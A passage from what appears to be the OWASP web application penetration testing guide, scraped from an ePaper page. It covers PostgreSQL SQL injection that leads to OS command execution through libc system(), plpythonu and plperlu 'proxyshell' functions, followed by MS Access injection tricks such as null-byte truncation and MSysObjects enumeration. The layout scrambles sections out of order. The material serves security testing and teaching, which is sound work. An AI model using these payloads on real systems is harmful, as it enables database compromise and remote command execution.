24.10.2014 Views

1BO4r2U

1BO4r2U

1BO4r2U

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

125 126<br />

Web Application Penetration Testing<br />

Web Application Penetration Testing<br />

/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS<br />

int AS ‘/lib/libc.so.6’,’system’ LANGUAGE ‘C’<br />

STRICT --<br />

/store.php?id=1; SELECT system(‘uname -a > /tmp/test’) --<br />

/store.php?id=1; COPY stdout(system_out) FROM ‘/tmp/test’<br />

--<br />

/store.php?id=1 UNION ALL SELECT NULL,(SELECT system_out<br />

FROM stdout ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--<br />

plpython<br />

PL/Python allows users to code PostgreSQL functions in python. It’s<br />

untrusted so there is no way to restrict what user can do. It’s not installed<br />

by default and can be enabled on a given database by CRE-<br />

ATELANG<br />

[1] Check if PL/Python has been enabled on a database:<br />

• SELECT count(*) FROM pg_language WHERE lanname=’plpythonu’<br />

[2] If not, try to enable:<br />

• CREATE LANGUAGE plpythonu<br />

[3] If either of the above succeeded, create a proxy shell function:<br />

• CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; return<br />

os.popen(args[0]).read() ‘LANGUAGE plpythonu<br />

[4] Have fun with:<br />

• SELECT proxyshell(os command);<br />

• CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,”$_<br />

[0] |”);return join(“”,);’ LANGUAGE plperlu<br />

[4] Have fun with:<br />

• SELECT proxyshell(os command);<br />

Example:<br />

[1] Create a proxy shell function:<br />

• /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text<br />

AS ‘open(FD,”$_[0] |”);return join(“”,);’ LANGUAGE plperlu;<br />

[2] Run an OS Command:<br />

• /store.php?id=1 UNION ALL SELECT NULL, proxyshell(‘whoami’),<br />

NULL OFFSET 1;--<br />

References<br />

• OWASP : “Testing for SQL Injection”<br />

• OWASP : SQL Injection Prevention Cheat Sheet<br />

• PostgreSQL : “Official Documentation” - http:/www.postgresql.org/<br />

docs/<br />

• Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection<br />

tool - http:/sqlmap.sourceforge.net<br />

Testing for MS Access<br />

Summary<br />

As explained in the generic SQL injection section, SQL injection vulnerabilities<br />

occur whenever user-supplied input is used during the<br />

construction of a SQL query without being adequately constrained<br />

or sanitized. This class of vulnerabilities allows an attacker to execute<br />

SQL code under the privileges of the user that is used to connect to the<br />

database. In this section, relevant SQL injection techniques that utilize<br />

specific features of Microsoft Access will be discussed.<br />

In all cases, we have a confirmation that we’re testing an application<br />

using MS Access database.<br />

Basic Testing<br />

Unfortunately, MS Access doesn’t support typical operators that are<br />

traditionally used during SQL injection testing, including:<br />

• No comments characters<br />

• No stacked queries<br />

• No LIMIT operator<br />

• No SLEEP or BENCHMARK alike operators<br />

• and many others<br />

Nevertheless, it is possible to emulate those functions by combining<br />

multiple operators or by using alternative techniques. As mentioned, it<br />

is not possible to use the trick of inserting the characters /*, -- or # in<br />

order to truncate the query. However, we can fortunately bypass this<br />

limitation by injecting a ‘null’ character. Using a null byte %00 within<br />

a SQL query results in MS Access ignoring all remaining characters.<br />

This can be explained by considering that all strings are NULL terminated<br />

in the internal representation used by the database. It is worth<br />

mentioning that the ‘null’ character can sometimes cause troubles too<br />

as it may truncate strings at the web server level. In those situations,<br />

we can however employ another character: 0x16 (%16 in URL encoded<br />

format).<br />

Considering the following query:<br />

SELECT [username],[password] FROM users WHERE [username]=’$myUsername’<br />

AND [password]=’$myPassword’<br />

• IIF: Is the IF construct, for example the following statement IIF(1=1,<br />

‘a’, ‘b’) return ‘a’<br />

• MID: This function allows you to extract substring, for example the<br />

following statement mid(‘abc’,1,1) return ‘a’<br />

• TOP: This function allows you to specify the maximum number of<br />

results that the query should return from the top. For example TOP 1<br />

will return only 1 row.<br />

• LAST: This function is used to select only the last row of a set of rows.<br />

For example the following query SELECT last(*) FROM users will return<br />

only the last row of the result.<br />

Some of these operators are essential to exploit blind SQL injections.<br />

For other advanced operators, please refer to the documents in the<br />

references.<br />

Attributes Enumeration<br />

In order to enumerate the column of a database table, it is possible<br />

to use a common error-based technique. In short, we can obtain the<br />

attributes name by analyzing error messages and repeating the query<br />

with different selectors. For example, assuming that we know the<br />

existence of a column, we can also obtain the name of the remaining<br />

attributes with the following query:<br />

‘ GROUP BY Id%00<br />

In the error message received, it is possible to observe the name of the<br />

next column. At this point, we can iterate the method until we obtain<br />

the name of all attributes. If we don’t know the name of the first attribute,<br />

we can still insert a fictitious column name and obtain the name<br />

of the first attribute within the error message.<br />

Example:<br />

[1] Create a proxy shell function:<br />

• /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text<br />

AS ‘import os; return os.popen(args[0]).read()’ LANGUAGE plpytho-<br />

nu;--<br />

[2] Run an OS Command:<br />

• /store.php?id=1 UNION ALL SELECT NULL, proxyshell(‘whoami’),<br />

NULL OFFSET 1;--<br />

plperl<br />

Plperl allows us to code PostgreSQL functions in perl. Normally, it is<br />

installed as a trusted language in order to disable runtime execution of<br />

operations that interact with the underlying operating system, such as<br />

open. By doing so, it’s impossible to gain OS-level access. To successfully<br />

inject a proxyshell like function, we need to install the untrusted<br />

version from the postgres user, to avoid the so-called application<br />

mask filtering of trusted/untrusted operations.<br />

[1] Check if PL/perl-untrusted has been enabled:<br />

• SELECT count(*) FROM pg_language WHERE lanname=’plperlu’<br />

[2] If not, assuming that sysadm has already installed the plperl package,<br />

try :<br />

• CREATE LANGUAGE plperlu<br />

[3] If either of the above succeeded, create a proxy shell function:<br />

How to Test<br />

Fingerprinting<br />

Fingerprinting the specific database technology while testing<br />

SQL-powered application is the first step to properly asses potential<br />

vulnerabilities. A common approach involves injecting standard SQL<br />

injection attack patterns (e.g. single quote, double quote, ...) in order to<br />

trigger database exceptions. Assuming that the application does not<br />

handle exceptions with custom pages, it is possible to fingerprint the<br />

underline DBMS by observing error messages.<br />

Depending on the specific web technology used, MS Access driven applications<br />

will respond with one of the following errors:<br />

or<br />

or<br />

Fatal error: Uncaught exception ‘com_exception’ with message<br />

Source: Microsoft JET Database Engine<br />

Microsoft JET Database Engine error ‘80040e14’<br />

Microsoft Office Access Database Engine<br />

We can truncate the query with the following two URLs:<br />

http:/www.example.com/page.asp?user=admin’%00&pass=foo<br />

http:/www.example.com/page.app?user=admin’%16&pass=foo<br />

The LIMIT operator is not implemented in MS Access, however it is<br />

possible to limit the number of results by using the TOP or LAST operators<br />

instead.<br />

http:/www.example.com/page.app?id=2’+UNION+SE-<br />

LECT+TOP+3+name+FROM+appsTable%00<br />

By combining both operators, it is possible to select specific results.<br />

String concatenation is possible by using & (%26) and + (%2b) characters.<br />

There are also many other functions that can be used while testing<br />

SQL injection, including but not limited to:<br />

• ASC: Obtain the ASCII value of a character passed as input<br />

• CHR: Obtain the character of the ASCII value passed as input<br />

• LEN: Return the length of the string passed as parameter<br />

Obtaining Database Schema<br />

Various system tables exist by default in MS Access that can be potentially<br />

used to obtain table names and columns. Unfortunately, in the<br />

default configuration of recent MS Access database releases, these<br />

tables are not accessible. Nevertheless, it is always worth trying:<br />

• MSysObjects<br />

• MSysACEs<br />

• MSysAccessXML<br />

For example, if a union SQL injection vulnerability exists, you can use<br />

the following query:<br />

‘ UNION SELECT Name FROM MSysObjects WHERE Type = 1%00<br />

Alternatively, it is always possible to bruteforce the database schema<br />

by using a standard wordlist (e.g. FuzzDb).<br />

In some cases, developers or system administrators do not realize<br />

that including the actual .mdb file within the application webroot can<br />

allow to download the entire database. Database filenames can be inferred<br />

with the following query:<br />

http:/www.example.com/page.app?id=1’+UNION+SE-<br />

LECT+1+FROM+name.table%00

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!